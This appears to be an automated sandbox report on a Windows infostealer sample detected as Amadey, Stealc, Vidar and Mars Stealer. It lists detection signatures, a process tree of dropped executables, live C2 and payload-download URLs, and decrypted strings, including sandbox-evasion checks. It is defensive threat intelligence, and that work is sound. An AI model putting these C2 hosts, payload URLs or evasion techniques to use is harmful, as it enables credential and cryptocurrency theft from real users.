Edit tour

Windows Analysis Report
ukuWaeRgPR.exe

Overview

General Information

Sample name:	ukuWaeRgPR.exe renamed because original name is a hash value
Original sample name:	370e9decc41c2ed09ec8f40262b9e2f9.exe
Analysis ID:	1463763
MD5:	370e9decc41c2ed09ec8f40262b9e2f9
SHA1:	2d5753cb4b20e5ce6822ef8b96f8cbb38b2b393a
SHA256:	43d717f6aa2a1ae8bef569917f6ccb5adfd8bb965114196cc715d30e355268b4
Tags:	32exeStealctrojan
Infos:

Detection

Amadey, Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Amadeys stealer DLL

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has nameless sections

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

ukuWaeRgPR.exe (PID: 6340 cmdline: "C:\Users\user\Desktop\ukuWaeRgPR.exe" MD5: 370E9DECC41C2ED09EC8F40262B9E2F9)

cmd.exe (PID: 3996 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

EHDHDHIECG.exe (PID: 1600 cmdline: "C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe" MD5: A5CF525BBE7813EFDDEA80F027C62C59)

explorti.exe (PID: 6352 cmdline: "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe" MD5: A5CF525BBE7813EFDDEA80F027C62C59)

cmd.exe (PID: 3692 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\EGCGHCBKFC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorti.exe (PID: 1772 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: A5CF525BBE7813EFDDEA80F027C62C59)

explorti.exe (PID: 2820 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: A5CF525BBE7813EFDDEA80F027C62C59)

a3b2c9311b.exe (PID: 3448 cmdline: "C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe" MD5: 370E9DECC41C2ED09EC8F40262B9E2F9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://85.28.47.4/920475a59bac849d.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.4/920475a59bac849d.php"}

Threatname: Amadey

{"C2 url": ["http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php", "http://77.91.77.82/Hun4Ko/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000D.00000003.2697614197.0000000004F80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2284848732.00000000006D1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2194479080.0000000005100000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.2326220541.00000000004A1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.2767076722.0000000000061000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000E.00000002.2767076722.0000000000061000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000009.00000002.2316173620.00000000004A1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2169837942.0000000000C81000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2169837942.0000000000C81000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000A.00000003.2285765629.00000000052F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000002.3228822422.00000000004A1000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2171110129.0000000001FEE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2275708429.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.2770510086.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: ukuWaeRgPR.exe PID: 6340	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: ukuWaeRgPR.exe PID: 6340	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ukuWaeRgPR.exe PID: 6340	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: a3b2c9311b.exe PID: 3448	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author
10.2.explorti.exe.4a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.EHDHDHIECG.exe.6d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.2.explorti.exe.4a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.2.explorti.exe.4a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.ukuWaeRgPR.exe.c80000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.ukuWaeRgPR.exe.c80000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
14.2.a3b2c9311b.exe.60000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
14.2.a3b2c9311b.exe.60000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Click to see the 3 entries

Snort Signatures

ETPRO TROJAN Amadey CnC Activity M3 - Source IP: 192.168.2.5 - Destination IP: 77.91.77.82

Timestamp:	06/27/24-19:27:04.511147
SID:	2856147
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.5 - Destination IP: 85.28.47.4

Timestamp:	06/27/24-19:25:52.719549
SID:	2044246
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.5

Timestamp:	06/27/24-19:25:52.897542
SID:	2051831
Source Port:	80
Destination Port:	49705
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Response M1 - Source IP: 77.91.77.82 - Destination IP: 192.168.2.5

Timestamp:	06/27/24-19:27:05.439846
SID:	2856122
Source Port:	80
Destination Port:	49720
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.5 - Destination IP: 85.28.47.4

Timestamp:	06/27/24-19:25:52.534531
SID:	2044244
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 85.28.47.4

Timestamp:	06/27/24-19:25:51.797171
SID:	2044243
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.5

Timestamp:	06/27/24-19:25:52.712309
SID:	2051828
Source Port:	80
Destination Port:	49705
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ukuWaeRgPR.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://85.28.47.4/a81-46d0-b6b6-535557bcc5fapN9U	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exe	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exe	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/nss3.dllT	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.php:9y	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.php)	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/pl	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/stealc/random.exe50673b5d7	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/920475a59bac849d.php1	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phpC9B	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll$	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exephprefoxox	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exera	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/20475a59bac849d.php	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phpi94	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dlll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phpFl	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exe00	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.php	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exepData	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dlly	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exe	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exe00	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/sqlite3.dllc	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exeH	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/stealc/random.exe50673	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen

Found malware configuration

Source: 00000000.00000002.2171110129.0000000001FEE000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://85.28.47.4/920475a59bac849d.php"}
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.4/920475a59bac849d.php"}
Source: explorti.exe.2820.13.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php", "http://77.91.77.82/Hun4Ko/index.php"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: ukuWaeRgPR.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: ukuWaeRgPR.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: lstrcatA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: OpenEventA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: CreateEventA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: CloseHandle
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: Sleep
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: VirtualFree
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: lstrlenA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: ExitProcess
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: user32.dll
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: CreateDCA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: sscanf
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: HAL9TH
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: JohnDoe
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: DISPLAY
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: http://85.28.47.4
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: /920475a59bac849d.php
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: /69934896f997d5bb/
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: default
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GlobalLock
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: HeapFree
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetFileSize
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GlobalSize
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: Process32Next
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: Process32First
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: LocalFree
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: FindClose
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: ReadFile
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: WriteFile
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: CreateFileA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: CopyFileA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetLastError
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GlobalFree
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: OpenProcess
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: ole32.dll
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: wininet.dll
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: shell32.dll
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: psapi.dll
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: SelectObject
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: BitBlt
Source: 0.2.ukuWaeRgPR.exe.c80000.0.unpack	String decryptor: DeleteObject

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe

Code function: 0_2_6C326C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C326C80

Source: ukuWaeRgPR.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: mozglue.pdbP source: ukuWaeRgPR.exe, 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
